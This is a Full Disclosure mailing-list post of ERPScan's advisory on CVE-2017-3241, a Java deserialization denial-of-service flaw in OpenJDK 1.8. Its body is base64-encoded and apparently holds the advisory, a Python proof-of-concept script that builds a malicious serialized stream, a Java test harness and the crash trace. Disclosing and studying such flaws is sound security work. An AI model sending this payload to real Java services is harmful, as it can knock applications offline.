CVE-2017-3241 - [ERPSCAN-17-006] Oracle OpenJDK - Java Serialization DoS

ERPScan inc <[email protected]> Mon, 23 Jan 2017 16:45:50 +0300
Newsgroups gmane.comp.security.fulldisclosure,gmane.comp.security.penetration,gmane.comp.security.news.securitytracker,gmane.comp.security.bugtraq
Message-ID <CANHWe92XcOFCJx4hcT8gfXt7PxBf2YvhDuEzHKZHuuJFwwCK1Q@mail.gmail.com>
QXBwbGljYXRpb246IEphdmEgU0UKClZlbmRvcjogT3JhY2xlCgpCdWc6IERvUwoKUmVwb3J0ZWQ6
IDIzLjEyLjIwMTYKClZlbmRvciByZXNwb25zZTogMjQuMTIuMjAxNgoKRGF0ZSBvZiBQdWJsaWMg
QWR2aXNvcnk6IDE3LjAxLjIwMTcKClJlZmVyZW5jZTogT3JhY2xlIENQVSBKYW4gMjAxNwoKQXV0
aG9yOiBSb21hbiBTaGFseW1vdgoKCgoxLiBBRFZJU09SWSBJTkZPUk1BVElPTgoKVGl0bGU6IE9y
YWNsZSBPcGVuSkRLIC0gSmF2YSBTZXJpYWxpemF0aW9uIERvUwoKQWR2aXNvcnkgSUQ6IFtFUlBT
Q0FOLTE3LTAwNl0KClJpc2s6IEhpZ2gKCkFkdmlzb3J5IFVSTDoKaHR0cHM6Ly9lcnBzY2FuLmNv
bS9hZHZpc29yaWVzL2VycHNjYW4tMTctMDA2LW9yYWNsZS1vcGVuamRrLWphdmEtc2VyaWFsaXph
dGlvbi1kb3MtdnVsbmVyYWJpbGl0eS8KCkRhdGUgcHVibGlzaGVkOiAxNy4wMS4yMDE3CgpWZW5k
b3IgY29udGFjdGVkOiBPcmFjbGUKCgoyLiBWVUxORVJBQklMSVRZIElORk9STUFUSU9OCgoKQ2xh
c3M6IERlbmlhbCBvZiBTZXJ2aWNlCgpSZW1vdGVseSBFeHBsb2l0YWJsZTogWWVzCgpMb2NhbGx5
IEV4cGxvaXRhYmxlOiBZZXMKCkNWRSBOYW1lOiBDVkUtMjAxNy0zMjQxCgpDVlNTIEJhc2UgU2Nv
cmU6IDkuMAoKCjMuIFZVTE5FUkFCSUxJVFkgREVTQ1JJUFRJT04KCgpBbiBhdHRhY2tlciBjYW4g
Y2F1c2UgRG9TIG9mIHRoZSBhcHBsaWNhdGlvbiB3aGljaCB1c2VzIE9wZW5KREsgUnVudGltZQpF
bnZpcm9ubWVudCAxLjggYXMgaXRzIGNvcmUgcnVudGltZSBlbmdpbmUuCgoKNC4gVlVMTkVSQUJM
RSBQQUNLQUdFUwoKCk9wZW5KREsgUnVudGltZSBFbnZpcm9ubWVudCBidWlsZCAxLjguMF8xMTIt
YjE1CgoKNS4gU09MVVRJT05TIEFORCBXT1JLQVJPVU5EUwoKCkZpeCBPYmplY3RJbnB1dFN0cmVh
bS5za2lwQ3VzdG9tRGF0YSgpIG1ldGhvZCwgbmFtZWx5IHJlYWRPYmplY3QwKGZhbHNlKTsKY2Fs
bCBpbiBzd2l0Y2ggc3RhdGVtZW50CgpBZHJlc3MgT3JhY2xlIENQVSBKYW51YXJ5IDIwMTcKCiA2
LiBBVVRIT1IKCgpSb21hbiBTaGFseW1vdiAoQHNoYWx5bW92KQoKCjcuIFRFQ0hOSUNBTCBERVND
UklQVElPTgoKCkFuIGF0dGFja2VyIGNhbiBjcmFmdCBhIG1hbGljaW91cyBzZXF1ZW5jZSBvZiBi
eXRlcyB0aGF0IHdpbGwgY2F1c2UgSlZNClN0YWNrT3ZlcmZsb3dFcnJvciBpbiB0aGUgc3RhbmRh
cmQgSmF2YSBkZXNlcmlhbGl6YXRpb24gcHJvY2VzcyBpZiBpdCB1c2VzCk9iamVjdElucHV0U3Ry
ZWFtLnJlYWRPYmplY3QoKSBtZXRob2QuCgoKCjcuMS4gUHJvb2Ygb2YgQ29uY2VwdAoKCgpBbiBh
dHRhY2tlciBjcmVhdGVzIGEgbWFsaWNpb3VzIHNlcXVlbmNlIG9mIGJ5dGVzLCBmb3IgZXhhbXBs
ZSwgdXNpbmcgdGhpcwpweXRob24gc2NyaXB0IHB3bl9zZXIucHk6CgoKCiMhL3Vzci9iaW4vZW52
IHB5dGhvbjIKCgoKaW1wb3J0IHN5cwoKCgpleHAgPSAiIgoKI3NlcmlhbGl6YXRpb24gaGVhZGVy
CgpleHAgKz0gJ1x4YWNceGVkXHgwMFx4MDUnCgoKCmV4cDEgPSAnJwoKZXhwMSArPSAnXHg3MicK
CmV4cDEgKz0gJ1x4MDBceDBjJysnamF2YS5pby5GaWxlJwoKZXhwMSArPSAnXHg0MScqOAoKZXhw
MSArPSAnXHgwMCcKCmV4cDEgKz0gJ1x4MDBceDAwJwoKCgpleHAgKz0gZXhwMSAqIDEwMDAwCgoK
CnN5cy5zdGRvdXQud3JpdGUoZXhwKQoKCgphbmQgc2F2ZSBpdCBpbiBleHAyLnNlciBmaWxlCgoK
CiQgLi9wd25fc2VyMi5weSA+IGV4cDIuc2VyCgoKCkxldCdzIHNpbXVsYXRlIGRlc2VyaWFsaXph
dGlvbiBwcm9jZXNzLiBGb3IgdGhpcyBwdXJwb3NlLCB3ZSBjcmVhdGUgYQpzaW1wbGUgSmF2YSBw
cm9ncmFtLCB3aGljaCB1c2VzIHRoZSBmb2xsb3dpbmcgc3RhbmRhcmQgZGVzZXJpYWxpemF0aW9u
CnBhdHRlcm46CgoKClNlcmlhbGl6ZV9yZWFkLmphdmEKCgoKaW1wb3J0IGphdmEuaW8uRmlsZUlu
cHV0U3RyZWFtOwoKaW1wb3J0IGphdmEuaW8uT2JqZWN0SW5wdXRTdHJlYW07CgoKCnB1YmxpYyBj
bGFzcyBTZXJpYWxpemVfcmVhZCB7CgoKCnB1YmxpYyBzdGF0aWMgdm9pZCBtYWluKFN0cmluZyBh
cmdzW10pIHRocm93cyBFeGNlcHRpb24gewoKCgogIGlmKGFyZ3MubGVuZ3RoIDwgMSkgewoKICAg
ICAgU3lzdGVtLm91dC5wcmludGxuKCJ1c2FnZTogIitTZXJpYWxpemVfcmVhZC5jbGFzcy5nZXRT
aW1wbGVOYW1lKCkrIgpbZmlsZV0iKTsKCiAgICAgIFN5c3RlbS5leGl0KC0xKTsKCiAgfQoKCgog
IEZpbGVJbnB1dFN0cmVhbSBmaW4gPSBuZXcgRmlsZUlucHV0U3RyZWFtKGFyZ3NbMF0pOwoKICBP
YmplY3RJbnB1dFN0cmVhbSBvaW4gPSBuZXcgT2JqZWN0SW5wdXRTdHJlYW0oZmluKTsKCgoKICB0
cnkgewoKICAgIE9iamVjdCBvYmpGcm9tRGlzayA9IG9pbi5yZWFkT2JqZWN0KCk7CgogICAgU3Ry
aW5nIHMgPSAoU3RyaW5nKW9iakZyb21EaXNrOwoKICAgIFN5c3RlbS5vdXQucHJpbnRsbihzKTsK
CiAgICBTeXN0ZW0ub3V0LnByaW50bG4oIlN1Y2Nlc3NmdWxseSByZWFkISIpOwoKICB9Y2F0Y2go
RXhjZXB0aW9uIGUpe30KCiAgU3lzdGVtLmV4aXQoMCk7CgoKCn0KCgoKfQoKCgpMZXQncyB0cnkg
dG8gcmVhZCBvdXIgbWFsaWNpb3VzIGZpbGUgKHdlIGNhbiBhbHNvIHNpbXVsYXRlIHRoaXMgc3R1
ZmYgb3ZlcgpuZXR3b3JrIGNvbW11bmljYXRpb24pOgoKCgokIGphdmFjIFNlcmlhbGl6ZV9yZWFk
LmphdmEKCiQgamF2YSBTZXJpYWxpemVfcmVhZCBleHAyLnNlcgoKCgpJdCBjYXVzZXMgdGhlIGZv
bGxvd2luZyBlcnJvciBkdW1wOgoKCgpFeGNlcHRpb24gaW4gdGhyZWFkICJtYWluIiBqYXZhLmxh
bmcuU3RhY2tPdmVyZmxvd0Vycm9yCgphdApqYXZhLmlvLk9iamVjdElucHV0U3RyZWFtJFBlZWtJ
bnB1dFN0cmVhbS5yZWFkRnVsbHkoT2JqZWN0SW5wdXRTdHJlYW0uamF2YToyMzUxKQoKYXQKamF2
YS5pby5PYmplY3RJbnB1dFN0cmVhbSRCbG9ja0RhdGFJbnB1dFN0cmVhbS5yZWFkVW5zaWduZWRT
aG9ydChPYmplY3RJbnB1dFN0cmVhbS5qYXZhOjI4MzQpCgphdApqYXZhLmlvLk9iamVjdElucHV0
U3RyZWFtJEJsb2NrRGF0YUlucHV0U3RyZWFtLnJlYWRVVEYoT2JqZWN0SW5wdXRTdHJlYW0uamF2
YToyODkyKQoKYXQgamF2YS5pby5PYmplY3RJbnB1dFN0cmVhbS5yZWFkVVRGKE9iamVjdElucHV0
U3RyZWFtLmphdmE6MTA3NSkKCmF0IGphdmEuaW8uT2JqZWN0U3RyZWFtQ2xhc3MucmVhZE5vblBy
b3h5KE9iamVjdFN0cmVhbUNsYXNzLmphdmE6Njg0KQoKYXQgamF2YS5pby5PYmplY3RJbnB1dFN0
cmVhbS5yZWFkQ2xhc3NEZXNjcmlwdG9yKE9iamVjdElucHV0U3RyZWFtLmphdmE6ODMzKQoKYXQg
amF2YS5pby5PYmplY3RJbnB1dFN0cmVhbS5yZWFkTm9uUHJveHlEZXNjKE9iamVjdElucHV0U3Ry
ZWFtLmphdmE6MTYwOSkKCmF0IGphdmEuaW8uT2JqZWN0SW5wdXRTdHJlYW0ucmVhZENsYXNzRGVz
YyhPYmplY3RJbnB1dFN0cmVhbS5qYXZhOjE1MjEpCgphdCBqYXZhLmlvLk9iamVjdElucHV0U3Ry
ZWFtLnJlYWRPYmplY3QwKE9iamVjdElucHV0U3RyZWFtLmphdmE6MTM0MCkKCmF0IGphdmEuaW8u
T2JqZWN0SW5wdXRTdHJlYW0uc2tpcEN1c3RvbURhdGEoT2JqZWN0SW5wdXRTdHJlYW0uamF2YTox
OTg0KQoKYXQgamF2YS5pby5PYmplY3RJbnB1dFN0cmVhbS5yZWFkTm9uUHJveHlEZXNjKE9iamVj
dElucHV0U3RyZWFtLmphdmE6MTYyOCkKCmF0IGphdmEuaW8uT2JqZWN0SW5wdXRTdHJlYW0ucmVh
ZENsYXNzRGVzYyhPYmplY3RJbnB1dFN0cmVhbS5qYXZhOjE1MjEpCgphdCBqYXZhLmlvLk9iamVj
dElucHV0U3RyZWFtLnJlYWRPYmplY3QwKE9iamVjdElucHV0U3RyZWFtLmphdmE6MTM0MCkKCgoK
Li4uCgphdCBqYXZhLmlvLk9iamVjdElucHV0U3RyZWFtLnNraXBDdXN0b21EYXRhKE9iamVjdElu
cHV0U3RyZWFtLmphdmE6MTk4NCkKCmF0IGphdmEuaW8uT2JqZWN0SW5wdXRTdHJlYW0ucmVhZE5v
blByb3h5RGVzYyhPYmplY3RJbnB1dFN0cmVhbS5qYXZhOjE2MjgpCgphdCBqYXZhLmlvLk9iamVj
dElucHV0U3RyZWFtLnJlYWRDbGFzc0Rlc2MoT2JqZWN0SW5wdXRTdHJlYW0uamF2YToxNTIxKQoK
YXQgamF2YS5pby5PYmplY3RJbnB1dFN0cmVhbS5yZWFkT2JqZWN0MChPYmplY3RJbnB1dFN0cmVh
bS5qYXZhOjEzNDApCgphdCBqYXZhLmlvLk9iamVjdElucHV0U3RyZWFtLnNraXBDdXN0b21EYXRh
KE9iamVjdElucHV0U3RyZWFtLmphdmE6MTk4NCkKCmF0IGphdmEuaW8uT2JqZWN0SW5wdXRTdHJl
YW0ucmVhZE5vblByb3h5RGVzYyhPYmplY3RJbnB1dFN0cmVhbS5qYXZhOjE2MjgpCgphdCBqYXZh
LmlvLk9iamVjdElucHV0U3RyZWFtLnJlYWRDbGFzc0Rlc2MoT2JqZWN0SW5wdXRTdHJlYW0uamF2
YToxNTIxKQoKYXQgamF2YS5pby5PYmplY3RJbnB1dFN0cmVhbS5yZWFkT2JqZWN0MChPYmplY3RJ
bnB1dFN0cmVhbS5qYXZhOjEzNDApCgphdCBqYXZhLmlvLk9iamVjdElucHV0U3RyZWFtLnNraXBD
dXN0b21EYXRhKE9iamVjdElucHV0U3RyZWFtLmphdmE6MTk4NCkKCmF0IGphdmEuaW8uT2JqZWN0
SW5wdXRTdHJlYW0ucmVhZE5vblByb3h5RGVzYyhPYmplY3RJbnB1dFN0cmVhbS5qYXZhOjE2Mjgp
CgphdCBqYXZhLmlvLk9iamVjdElucHV0U3RyZWFtLnJlYWRDbGFzc0Rlc2MoT2JqZWN0SW5wdXRT
dHJlYW0uamF2YToxNTIxKQoKCgo4LiBSRVBPUlQgVElNRUxJTkUKClJlcG9ydGVkOiAyMy4xMi4y
MDE2CgpWZW5kb3IgcmVzcG9uc2U6IDI0LjEyLjIwMTYKCkRhdGUgb2YgUHVibGljIEFkdmlzb3J5
OiAxNy4wMS4yMDE3Cgo5LiBSRUZFUkVOQ0VTCmh0dHA6Ly93d3cub3JhY2xlLmNvbS90ZWNobmV0
d29yay9zZWN1cml0eS1hZHZpc29yeS9jcHVqYW4yMDE3LTI4ODE3MjcuaHRtbApodHRwczovL2Vy
cHNjYW4uY29tL2Fkdmlzb3JpZXMvZXJwc2Nhbi0xNy0wMDYtb3JhY2xlLW9wZW5qZGstamF2YS1z
ZXJpYWxpemF0aW9uLWRvcy12dWxuZXJhYmlsaXR5LwoKCjEwLiBBQk9VVCBFUlBTY2FuIFJlc2Vh
cmNoCgpFUlBTY2FuIHJlc2VhcmNoIHRlYW0gc3BlY2lhbGl6ZXMgaW4gdnVsbmVyYWJpbGl0eSBy
ZXNlYXJjaCBhbmQgYW5hbHlzaXMgb2YKY3JpdGljYWwgZW50ZXJwcmlzZSBhcHBsaWNhdGlvbnMu
IEl0IHdhcyBhY2tub3dsZWRnZWQgbXVsdGlwbGUgdGltZXMgYnkgdGhlCmxhcmdlc3Qgc29mdHdh
cmUgdmVuZG9ycyBsaWtlIFNBUCwgT3JhY2xlLCBNaWNyb3NvZnQsIElCTSwgVk13YXJlLCBIUCBm
b3IKZGlzY292ZXJpbmcgbW9yZSB0aGFuIDQwMCB2dWxuZXJhYmlsaXRpZXMgaW4gdGhlaXIgc29s
dXRpb25zICgyMDAgb2YgdGhlbQpqdXN0IGluIFNBUCEpLgoKRVJQU2NhbiByZXNlYXJjaGVycyBh
cmUgcHJvdWQgb2YgZGlzY292ZXJpbmcgbmV3IHR5cGVzIG9mIHZ1bG5lcmFiaWxpdGllcwooVE9Q
IDEwIFdlYiBIYWNraW5nIFRlY2huaXF1ZXMgMjAxMikgYW5kIG9mIHRoZSAiVGhlIEJlc3QgU2Vy
dmVyLVNpZGUgQnVnIgpub21pbmF0aW9uIGF0IEJsYWNrSGF0IDIwMTMuCgpFUlBTY2FuIGV4cGVy
dHMgcGFydGljaXBhdGVkIGFzIHNwZWFrZXJzLCBwcmVzZW50ZXJzLCBhbmQgdHJhaW5lcnMgYXQg
NjArCnByaW1lIGludGVybmF0aW9uYWwgc2VjdXJpdHkgY29uZmVyZW5jZXMgaW4gMjUrIGNvdW50
cmllcyBhY3Jvc3MgdGhlCmNvbnRpbmVudHMgKCBlLmcuIEJsYWNrSGF0LCBSU0EsIEhJVEIpIGFu
ZCBjb25kdWN0ZWQgcHJpdmF0ZSB0cmFpbmluZ3MgZm9yCnNldmVyYWwgRm9ydHVuZSAyMDAwIGNv
bXBhbmllcy4KCkVSUFNjYW4gcmVzZWFyY2hlcnMgY2Fycnkgb3V0IHRoZSBFQVMtU0VDIHByb2pl
Y3QgdGhhdCBpcyBmb2N1c2VkIG9uCmVudGVycHJpc2UgYXBwbGljYXRpb24gc2VjdXJpdHkgYXdh
cmVuZXNzIGJ5IGlzc3VpbmcgYW5udWFsIFNBUCBzZWN1cml0eQpyZXNlYXJjaGVzLgoKRVJQU2Nh
biBleHBlcnRzIHdlcmUgaW50ZXJ2aWV3ZWQgaW4gc3BlY2lhbGl6ZWQgaW5mby1zZWMgcmVzb3Vy
Y2VzIGFuZApmZWF0dXJlZCBpbiBtYWpvciBtZWRpYSB3b3JsZHdpZGUuIEFtb25nIHRoZW0gdGhl
cmUgYXJlIFJldXRlcnMsIFlhaG9vLCBTQwpNYWdhemluZSwgVGhlIFJlZ2lzdGVyLCBDSU8sIFBD
IFdvcmxkLCBEYXJrUmVhZGluZywgSGVpc2UsIENoaW5hYnl0ZSwgZXRjLgoKT3VyIHRlYW0gY29u
c2lzdHMgb2YgaGlnaGx5LXF1YWxpZmllZCByZXNlYXJjaGVycywgc3BlY2lhbGl6ZWQgaW4gdmFy
aW91cwpmaWVsZHMgb2YgY3liZXJzZWN1cml0eSAoZnJvbSB3ZWIgYXBwbGljYXRpb24gdG8gSUNT
L1NDQURBIHN5c3RlbXMpLApnYXRoZXJpbmcgdGhlaXIgZXhwZXJpZW5jZSB0byBjb25kdWN0IHRo
ZSBiZXN0IFNBUCBzZWN1cml0eSByZXNlYXJjaC4KCjExLiBBQk9VVCBFUlBTY2FuCgpFUlBTY2Fu
IGlzIHRoZSBtb3N0IHJlc3BlY3RlZCBhbmQgY3JlZGlibGUgQnVzaW5lc3MgQXBwbGljYXRpb24K
Q3liZXJzZWN1cml0eSBwcm92aWRlci4gRm91bmRlZCBpbiAyMDEwLCB0aGUgY29tcGFueSBvcGVy
YXRlcyBnbG9iYWxseSBhbmQKZW5hYmxlcyBsYXJnZSBPaWwgYW5kIEdhcywgRmluYW5jaWFsLCBS
ZXRhaWwgYW5kIG90aGVyIG9yZ2FuaXphdGlvbnMgdG8Kc2VjdXJlIHRoZWlyIG1pc3Npb24tY3Jp
dGljYWwgcHJvY2Vzc2VzLiBOYW1lZCBhcyBhbiDigJhFbWVyZ2luZyBWZW5kb3LigJkgaW4KU2Vj
dXJpdHkgYnkgQ1JOLCBsaXN0ZWQgYW1vbmcg4oCcVE9QIDEwMCBTQVAgU29sdXRpb24gcHJvdmlk
ZXJz4oCdIGFuZApkaXN0aW5ndWlzaGVkIGJ5IDMwKyBvdGhlciBhd2FyZHMsIEVSUFNjYW4gaXMg
dGhlIGxlYWRpbmcgU0FQIFNFIHBhcnRuZXIgaW4KZGlzY292ZXJpbmcgYW5kIHJlc29sdmluZyBz
ZWN1cml0eSB2dWxuZXJhYmlsaXRpZXMuIEVSUFNjYW4gY29uc3VsdGFudHMKd29yayB3aXRoIFNB
UCBTRSBpbiBXYWxsZG9yZiB0byBhc3Npc3QgaW4gaW1wcm92aW5nIHRoZSBzZWN1cml0eSBvZiB0
aGVpcgpsYXRlc3Qgc29sdXRpb25zLgoKRVJQU2NhbuKAmXMgcHJpbWFyeSBtaXNzaW9uIGlzIHRv
IGNsb3NlIHRoZSBnYXAgYmV0d2VlbiB0ZWNobmljYWwgYW5kCmJ1c2luZXNzIHNlY3VyaXR5LCBh
bmQgcHJvdmlkZSBzb2x1dGlvbnMgZm9yIENJU08ncyB0byBldmFsdWF0ZSBhbmQgc2VjdXJlClNB
UCBhbmQgT3JhY2xlIEVSUCBzeXN0ZW1zIGFuZCBidXNpbmVzcy1jcml0aWNhbCBhcHBsaWNhdGlv
bnMgZnJvbSBib3RoCmN5YmVyYXR0YWNrcyBhbmQgaW50ZXJuYWwgZnJhdWQuIEFzIGEgcnVsZSwg
b3VyIGNsaWVudHMgYXJlIGxhcmdlCmVudGVycHJpc2VzLCBGb3J0dW5lIDIwMDAgY29tcGFuaWVz
IGFuZCBNU1BzLCB3aG9zZSByZXF1aXJlbWVudHMgYXJlIHRvCmFjdGl2ZWx5IG1vbml0b3IgYW5k
IG1hbmFnZSBzZWN1cml0eSBvZiB2YXN0IFNBUCBhbmQgT3JhY2xlIGxhbmRzY2FwZXMgb24gYQpn
bG9iYWwgc2NhbGUuCgpXZSDigJhmb2xsb3cgdGhlIHN1buKAmSBhbmQgaGF2ZSB0d28gaHVicywg
bG9jYXRlZCBpbiBQYWxvIEFsdG8gYW5kIEFtc3RlcmRhbSwKdG8gcHJvdmlkZSB0aHJlYXQgaW50
ZWxsaWdlbmNlIHNlcnZpY2VzLCBjb250aW51b3VzIHN1cHBvcnQgYW5kIHRvIG9wZXJhdGUKbG9j
YWwgb2ZmaWNlcyBhbmQgcGFydG5lciBuZXR3b3JrIHNwYW5uaW5nIDIwKyBjb3VudHJpZXMgYXJv
dW5kIHRoZSBnbG9iZS4KCgoKQWRyZXNzIFVTQTogMjI4IEhhbWlsdG9uIEF2ZW51ZSwgRmwuIDMs
IFBhbG8gQWx0bywgQ0EuIDk0MzAxCgpQaG9uZTogNjUwLjc5OC41MjU1CgpUd2l0dGVyOiBAZXJw
c2NhbgoKU2Nvb3AtaXQ6IEJ1c2luZXNzIEFwcGxpY2F0aW9uIFNlY3VyaXR5CgpfX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50IHRocm91Z2ggdGhlIEZ1
bGwgRGlzY2xvc3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9yZy9tYWlsbWFuL2xpc3Rp
bmZvL2Z1bGxkaXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDovL3NlY2xpc3RzLm9y
Zy9mdWxsZGlzY2xvc3VyZS8=